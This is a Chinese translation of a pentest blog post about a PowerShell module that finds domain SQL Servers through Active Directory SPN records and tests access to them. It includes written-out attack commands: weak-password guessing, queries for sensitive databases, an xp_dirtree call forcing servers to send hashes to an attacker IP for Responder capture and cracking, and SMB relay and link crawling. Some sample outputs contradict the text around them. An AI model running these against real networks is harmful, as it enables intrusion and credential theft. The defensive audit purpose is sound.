from:https://www.netspi.com/blog/entryid/228/locate-and-attack-domain-sql-servers-without-scanning
在這篇文章里,我將分享一個新的PowerShell腳本來使用AD中Service Principal Name (SPN) 記錄判別并攻擊windows域中的SQL Server,而且不需要掃描發現。起初我寫這個腳本是為了在滲透測試中幫助提權及定位關鍵的數據。下面我將展示它對攻擊者和防御者是多么的有用。
當你沒有SQL Server認證信息或試圖攻擊時,不同多樣的掃描技術是非常有用的。但是這一過程卻非常嘈雜,耗時。同時也有可能因為未知的網段信息、非標準的端口、廣播域限制而錯過服務器。當我在AD中偶遇 Service Principal Name (SPN) 時,我發現有一個便捷快速的方法定位域中的服務器。 微軟的文檔中是這樣陳述的:” ServicePrincipleName(SPN)是客戶端用來唯一標識一個服務實例的名稱。”這也就意味著每一個在windows域中安裝的服務都在AD中注冊。同樣也包括SQL Server。并且任何一個域成員都可以不用掃描獲取ADS上所有的SQL Server信息,另外SPN包括實例確定的端口也就避免了掃描的麻煩。對于更多關于SPN的內容,可以參考我之前寫的一篇文章 "Faster Domain Escalation Using LDAP"。 了解SPN信息在AD中存在之后確實很棒,但是很快我又意識到此時需要一個更加自動化的解決方案。
在實驗室里擺弄了一會,我認為如果有一個腳本可以自動化通過LDAP從ADS中獲取SQL Server的列表,然后測試當前域用戶針對其的權限,再一次我想到了PowerShell。因為它本身就支持我需要的一切。例如,標準的PowerShell v.3包含LDAP查詢、SQL Server查詢、IP解析、ICMP請求、數據分析,無需額外的庫、cmdlets,或者方法。 在一陣修補后,我打包成一個powershell 模塊叫做”Get-SQLServerAccess.psm1”,我試著添加足夠的參數便于防御者快速有效的發現問題所在,攻擊者也可以在提權中使用。同樣它也非常方便簡單的發現數據儲存的地方。接下來我試著從攻擊者和防御者的角度突出地介紹一些功能。 我將Get-SQLServerAccess寫成一個Powershell模塊,所以對于那些不熟悉的人我會先介紹安裝步驟。
這個腳本可以從我的github上下載(here),在某些時候我也會將它提交到Posh-SecMod,無論如何,請注意它需要Powershell v3的環境。這個模塊可以手動安裝通過將其下載至下面路徑中的任意一處:
%USERPROFILE%\Documents\WindowsPowerShell\Modules\Get-SQLServerAccess\
%WINDIR%\System32\WindowsPowerShell\v1.0\Modules\Get-SQLServerAccess\
然后你就可以通過下面的語句導入:
Import-Module c:\temp\Get-SQLServerAccess.psm1
同樣你可以通過下面的語句判斷是否導入成功
Get-Command Get-SQLServerAcess
防御者使用示例 數據庫管理員通常都會給所有域成員登錄SQLServer的權限,因為實際上他們也不確定哪個域用戶組成員需要權限,另外SQL Server的老版本默認允許域用戶登陸,這是因為一個權限繼承的問題(見之前的文章here)。這些錯誤配置導致未認證的域用戶獲取數據和系統的權限,作為一個防御者快速的發現這些錯誤配置并修正是極好的。 Get-SQLServerAccess默認輸出允許當前域用戶登陸的SQL Server,另外輸出也會顯示SQL Server實例的名稱。如果用戶有SQL Serversy的sadmin權限,并且運行SQL Server服務的是域管理員權限,那么下面的幾個示例,我想對于防御者是非常方便的。 通過LDAP從ADS獲取SQL Server的列表,然后試圖用當前域用戶登陸每一個SQL Server。這是默認的輸出顯示。
PS C:\Get-SQLServerAccess
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
2,通過LDAP從ADS獲取SQL Server的列表,然后試圖用當前域用戶登陸每一個SQL Server。這次將輸出到CSV文件中。
PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
下面是一個上例中輸出的截圖。
上面的例子只是展示了我實驗室中測試的結果,但是在真實環境中我通常看到成百上千的服務器。Just for fun,我同樣建議你以一個域用戶權限去運行這個腳本,通過使用”psexec.exe –s –I cmd.exe”之后可以獲取一個本地system權限的shell。然后向上述的一樣運行腳本。我想你會驚訝于登陸進了多少臺SQL server,我記得我當時的樣子。不管怎么說,到了攻擊的例子了。 攻擊者使用示例 對于SQL server來說有很多的攻擊方法。下面我將介紹在腳本幫助下的五種攻擊技術。
1,弱口令猜解仍然是一種有效的攻擊方法。在每個客戶的測試環境中,我們發現每次都有少量存在弱口令的SQL Server。通常登陸用戶名包括sa,test,dba,user和sysadmin。密碼則是:[the username], [the company], password, Password1和SQL。除此之外有很多的數據庫弱口令猜解工具,但是我還是加了一個SQL Server登陸的參數來驗證在ADS中發現的SQL Server,下面是一個示例。注意:這個參數也可以方便的發現不同服務器登錄情況。
PS C:\Get-SQLServerAccess -sqluser test -sqlpass test
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as test...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication failed
[+] Failed - server3.mydomain.com,1433 (192.168.1.103) is up, but authentication failed
[+] Failed - server3.mydomain.com\SQLEXPRESS (192.168.1.103) is up, but authentication failed
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: No - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 1 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
2,尋找敏感數據一直都很重要。使用自定義的”-query”參數便可以在每一個可登陸的SQL Server中查詢你想要的信息。下面是一個簡單的示例,演示如何列出用戶可以登陸的服務器中的信息。 PS C:\Get-SQLServerAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1"
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as test...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103)-Sysadmin:No - SvcIsDA:No
[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
[+] Query output:
Databases
---------
master
tempdb
msdb
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS(192.168.1.103)-Sysadmin:No-SvcIsDA:No
[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
[+] Query output:
Databases
---------
master
tempdb
msdb
[+] SUCCESS! - server4.mydomain.com\AppData(192.168.1.104)-Sysadmin: Yes-SvcIsDA: Yes
[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
[+] Query output:
Databases
---------
master
tempdb
msdb
PCIDataDB
ApplicationDB
CompanySecrects
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
3,捕獲和破解服務帳戶的密碼哈希在滲透測試中同樣也是一個獲取SQL server服務賬戶權限非常有效的攻擊方法,在許多場合下服務賬戶都有環境中所有SQL Server管理員權限,偶爾賬戶也會有域管理權限。我曾經寫了一篇關于捕獲中繼SQL Server服務賬戶密碼hash的文章(here)。然而,我提供過一種使用”-query”參數快速使SQL Server認證192.168.1.50攻擊者的IP的方法。
PS C:\ Get-SQLServerAccess -query "exec master..xp_dirtree '\\192.168.1.50\file'"
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
有一個非常棒的工具叫做Responder可以捕獲從任意SQL server傳遞過來的密碼hash。它可以從這里下載here。最后,hash可以使用OCLHashcat破解。
4,針對共享SQL Server服務帳戶,執行SMB中繼攻擊幾乎總是有效的。麻煩的是找出哪個SQL Server配置使用的是同一個服務賬戶。為了解決這個問題,我同樣也在腳本中添加了幾個參數來顯示出所有服務賬戶。這些參數包括”-showsum”和”-showstatus”。服務賬戶同樣也可以輸出至csv文件中。一旦被發現,我博客之前提到的方法(found here)就可以用來獲取SQL Server系統級權限。下面是一個基礎的例子展示如何發現使用相同服務賬戶的SQL Server:
PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[+] SUCCESS! - server2.mydomain.com\AppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.com\AppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
在這個例子中,你可以看到其中有三個都在使用同一個域共享服務賬戶。
5,爬取數據庫鏈接執行sysadmin權限查詢也是一個幾乎在所有場景中應用的技術。Antti Rantasaari在他博客里發表過一個關于數據庫鏈接非常不錯的概述(How to Hack Database Links in SQL Server),在不久前我們同樣也寫過一個用來攻擊的metasploit模塊(here)。盡管你可以盲目的枚舉數據庫鏈接,但是我想用腳本來抓取每一個可登陸的SQL Server的鏈接數會變得更方便。你可以用”-showsnum”和”-showsatus”選項來顯示它們。和上一個例子相似,同樣也可以輸出至csv文件中。下面是上一個的例子。
PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[+] SUCCESS! - server2.mydomain.com\AppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.com\AppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
正如你在示例所見,其中兩個服務器存在鏈接,有可被攻擊的潛在可能。
下載這個腳本,用它來找到洞,然后修補它。 Have fun and hack responsibly!